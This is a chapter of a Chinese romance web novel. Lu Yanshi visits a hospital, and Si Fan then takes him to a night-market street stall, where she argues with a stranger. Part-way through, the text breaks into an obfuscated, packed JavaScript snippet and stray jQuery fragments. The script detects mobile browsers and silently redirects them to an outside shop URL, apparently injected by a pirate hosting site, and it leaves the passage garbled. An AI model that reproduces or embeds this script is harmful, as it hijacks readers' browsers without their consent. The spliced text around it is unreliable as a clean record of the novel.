苏城第一人民医院。
傍晚五点的阳光斜斜地照进走廊窗户，在地砖上拖出长长的光影。
陆晏时站在病房门口，透过玻璃看向里面。
病床上躺着一个五十多岁的女人，脸色苍白，眉眼温和。她半靠着床头，正拉着司梵的手说话。声音很小，隔着门听不太清内容，但女人的眼神很柔软，像在看自家孩子。
司梵背对着门，只露出半边侧脸。
她低着头，肩膀绷着，握着女人手的那只手，白得透明。
床上的人又说了句什么，抬手拍了拍她的手背，温温软软的，像在哄。
她点了点头。
陆晏时收回视线，垂下眼，没再继续看。
身后传来一道苍老而惊讶的声音。
“陆总？”
他转过身。
一个穿白大褂的老头快步走来，头发花白，戴着金丝边眼镜——是这家医院的院长，姓周。
周院长看到他，满脸意外：“李秘书电话里只说让我照顾一下那位女士，没提您也在这。”
陆晏时微微颔首，算是打过招呼：“周院长，病人怎么样？”
周院长往他身后的病房看了一眼，连忙说：“哦，您放心。车祸看着吓人，但其实不算严重，主要是左腿骨折，加上几处软组织挫伤。送来得及时，手术很成功，养几个月就能恢复。”停了一会，他又补充道，“您特意关照过的，我们肯定更加尽心。病房、医生都是最好的。”
陆晏时道了声谢，视线又落回玻璃窗里。
周院长顺着他的目光看过去，看到里面的女孩，像明白了什么，若有所思地笑了笑，又感叹道：“说起来，是我们该谢您。要不是您，我们医院五年前就不在了。”
陆晏时侧过头看了他一眼，又看向病房里，她在低着头削苹果，应该没听见周院长说的这些话。
五年前，他因为一场意外在这家医院住过几天，正好碰上一出医闹。
闹事的人仗着有卫生局的关系，把医疗事故的帽子硬扣在院方头上，逼得那位主治大夫差点跳楼。他当时让李彦查了查事情原委，顺手帮了一把。
后来才知道，这家医院一直在无偿救助困难家庭的儿童。走之前又投了一笔资金，捐了批医疗设备。
他收回视线，淡声道：“周院长言重。您先去忙。”
见他不愿多谈，周院长识趣地点点头，又往病房里看了一眼，这女孩似乎有点眼熟，但他想不起什么时候见过了，就转身走了。
-
走廊安静下来。
周院长的话让他想起了五年前发生的事。他站到窗边，习惯性的从兜里摸出烟盒，指腹在盒盖上蹭了一下，想到这儿不能抽烟，又收了回去。
不知道过了多久，病房门从里面拉开。
司梵走出来，一眼就看见窗边的人。
男人靠着窗台站着，垂着眼在看手机。夕阳从身后斜斜打进来，把他的影子拉得很长。他背对着光，脸隐在阴影里，肩上落了一层薄薄的金边，黑发也被染成橙红色。
很温暖。
陆晏时听见动静，锁了手机，撩起眼皮。
她的脸色已经恢复如常，只是眼眶还有点红。走到他身侧，跟他一起倚在窗边。
刚才周院长那番话，隔着门她听到了，陆晏时找人照顾苏姨的事。她这人一向恩怨分明，他帮了她这么多，她也没必要再端着和他针锋相对。
她侧过头，正正经经看着他说：“谢谢你。”
这副认真跟自己道谢的模样，让陆晏时愣了一下。他侧过头看了她一会儿，又恢复了那副散漫样子，喉结滚动，语气玩味：“司小姐，打算怎么谢？”
猜到他会这么问，她抬头望了望天边，五六点钟的太阳还挂着，天没彻底黑下去。山珍海味他什么没吃过，她决定带他去个地方。
她抬腿往电梯方向走：“请你吃饭。”
夕阳落在她身上，发梢随着走路轻轻晃动，裙摆下那截细白的小腿被染成暖金色。
陆晏时视线落上去，停了一瞬，唇角无声勾起，不紧不慢地跟上去。
司梵听着身后跟上来的脚步声，弯了弯嘴角。
忽然衣袖被人从身后扯了扯。
她侧头，看见他递过来的手机屏幕——一个微信好友申请页面。
申请状态显示：已发送，等待验证。
他眉眼含笑地看着她，嗓音温温淡淡的：“吃饭之前，微信先通过下？万一等下司小姐反悔了，我岂不是竹篮打水一场空。”
蹬鼻子上脸，说的就是他这种人。
不知道什么叫见好就收。
司梵睨了他几秒，还是掏出手机，点了通过。
陆晏时满意地看着两人的对话框。
她的微信名称叫“其叶蓁蓁”。指腹在她的头像上停了一瞬，他点开——照片里的女孩坐在沙滩上，对着镜头闭着眼笑，身后海天碧蓝，远山叠叠。
他点了保存。
收起手机，跟上前面的人。
走廊尽头，夕阳打在两人身上。
一前一后，两道影子被拉长，打在墙上，绞缠在一起。
-
苏城暮塘街的夜市很出名。
司梵没让他开车，给他扫了一辆共享单车。
途经菱湖时，正好赶上日落。
湖面被染成橘红色，几只游船慢悠悠地晃过去，船桨划开水面的碎光。
她招手让他看，落日余晖渡在他脸上，温柔了他的眉眼。她盯着他看了一会儿，直到他侧过头来，她才垂下眼皮。
夜幕降下，暮塘街就更鲜活了。
人挤着人，说话得凑到耳朵边才能听清。
烤鱿鱼的铁板滋滋响，臭豆腐的油锅里翻着泡泡，各种香味混在一块儿往鼻子里钻。灯笼一串一串挂起来，红黄交错，把整条街烘得暖洋洋的。
陆晏时跟在她侧后方。
她在前面骑得不快，时不时回头看他一眼，像是怕他跟丢了。风把她的头发撩起来，发尾蹭着侧颈，又蹭过小巧的耳垂。
一下，一下。
她的耳垂白皙剔透，上面没有打耳洞。
他舔了下唇，移开眼。
原本以为她会带自己去什么餐厅，没想到是来了这儿。
她停好车，站在一家炸串摊前回头朝他招手，像在呼唤自己的男朋友。
他鬼使神差地停下车回应她，忽然觉得，这地方也不错。
看着他一脸新鲜，又带着点嫌弃，不情不愿地坐下，司梵觉得有点好笑。
估计他这辈子都没来过这种地方，也压根没想到自己会带他来吃路边摊。
她拿了两瓶橘子汽水，递给他一瓶说：“是不是觉得这笔买卖亏了？现在反悔，还来得及。等下就晚了。”
陆晏时接过她手里的汽水，拿起桌上的起瓶器开了瓶，递还给她，又在她诧异的眼神下接过她手里另一瓶打开，就着喝了一口。
味道还行，他挑眉问：“怎么……你一会要给我下毒？”
司梵嘁了一声：“饭我请了。吃不吃得惯，那就是你的事了。”
说完她起身往摊上走，走了两步又回头问：“有忌口吗？”
他看着她没说话，不知在想什么。
她等了两秒，以为他没听见，正要再问一遍，听见他说：“没有。”
她点点头，转身往小吃摊走。
陆晏时坐在原地，追着她的背影，看她挤进人群里。
这里的人实在太多了，光线又暗，混进人群里就再难找见。他看了会儿，就搜索不到她的背影了，索性收回目光，掏出手机。
点开微信，又点进她的朋友圈。
朋友圈背景图是她本人，半张侧脸，光影很好，看不清表情，签名空着。
动态只有一条，两天前发的。
一只金毛戴着生日帽，面前摆着个点蜡烛的小蛋糕，配文：生日快乐。
他盯着那张照片看了几秒。
她还养了条狗？
再往下翻，一道灰色的线横在那里：朋友仅展示最近一个月的朋友圈。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634368|206516||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他退出微信，把手机收回兜里。
她还没回来。
换成两天前，他绝对会以为她扔下自己跑路了。
现在么……
他往她消失的方向望了一眼，唇角勾了勾。以她的性格，怕是买了不少，可能会每样都来一点。
“帅哥，”旁边忽然凑过来一个姑娘，举着手机，笑盈盈的，“一个人？可以加个微信吗？”
陆晏时偏过头，眉眼冷下来，还没开口，余光扫见姑娘身后，有道人影正慢慢走近。
司梵两只手拎得满满当当，全是这条街上她觉得好吃的东西。
烤串、鱿鱼、苕皮、炸豆腐、烤生蚝……每样都来了一份。
也不管陆晏时吃不吃。
走近了她才看清，有个姑娘正举着手机跟陆晏时说话。
她干脆停下，站在几步开外看戏。
姑娘不知问了他什么，就见陆晏时抬了抬下巴，往她这边示意。
声音微扬，临近几桌都能听见，他说：“不是。”
说完，他目光落在她身上，又补了一句：“她是我的金主。”
司梵：“……？”
这是什么光彩的事吗？怎么被他说出一种荣耀感。
也不怕人姑娘唾弃他。
周围几桌的人听见陆晏时那句话，开始对他指指点点，眼神鄙夷，摇头不知在嘀咕什么。
陆晏时浑不在意，依旧笑吟吟地看着她，一副看戏的姿态，脸上没有半点尴尬和羞耻。
倒是那姑娘顺着他的目光转过头来，把司梵从头到脚打量了一遍，最后停在她脸上，嘴一噘：“也就长得好看而已。浑身上下都是便宜的网购货，连个名牌都没有，这种人怎么可能有钱养你？”
司梵：“……？？”
不应该骂他吃软饭！
道德沦丧！
不要脸！
怎么还骂起她来了？
她翻了个白眼，心说真是无妄之灾。
从上到下扫了那姑娘一眼，怼回去：“他啊，只有脸和身材好，但是技术不行，所以便宜。你别看他技术不行，眼光特别挑，像姑娘你这样的……啧……有钱也没用。”
姑娘气得不轻，手都在抖，骂她：“你……不知羞耻！”
司梵懒得搭理这种假正经的。
手上的东西勒得她手指充血，她打算绕过这人回座位上放下。
谁知陆晏时忽然起身，几步走到她身边，一手拎过她买的那堆零碎，另一只手揽住她的腰，带着她往座位走。
“站那么久，不累？”
司梵：“……”
累死了，手还疼。但这都拜谁所赐？
她抬起胳膊肘怼他。
他低头看她，没松手，反而扣得更紧了些。凑近她耳边，嗓音懒懒的：“我技术不行？那你今晚想不想试试？”
有病。
司梵剜了他一眼。
男人高大惹眼，女孩冷艳漂亮。
旁边几桌的目光聚过来，这回指指点点的人换了对象，都冲着那姑娘。
那姑娘脸色一僵，冷哼一声，声音尖利：“伤风败俗，恬不知耻！装什么装？有钱还来吃路边摊，装什么名媛体验生活？”
还有一个更有病的。
司梵忍不了了。
她回过头，在鼻子前面扇了扇，冷笑：“这条街你买的？口气这么大，酸臭熏天，回去刷干净再出来，省得丢人现眼。”
那姑娘还不依不饶，想追着她说什么，被陆晏时一个眼神吓的不敢说话。
他脸上的笑意瞬间敛干净，眼尾压下来，下颌收紧，整个人忽然就变了——凌厉，冷漠，不怒自威，带着上位者居高临下的压迫。
司梵有一瞬的恍惚。
这才是传说中的那个陆家长子。
狠戾，无情，手里攥着不知道多少人的命。
这些天他对她总是懒洋洋的，说话时眼皮半撩着看她，偶尔还逗她两句，温和得不行。
以至于她都快忘了他的身份。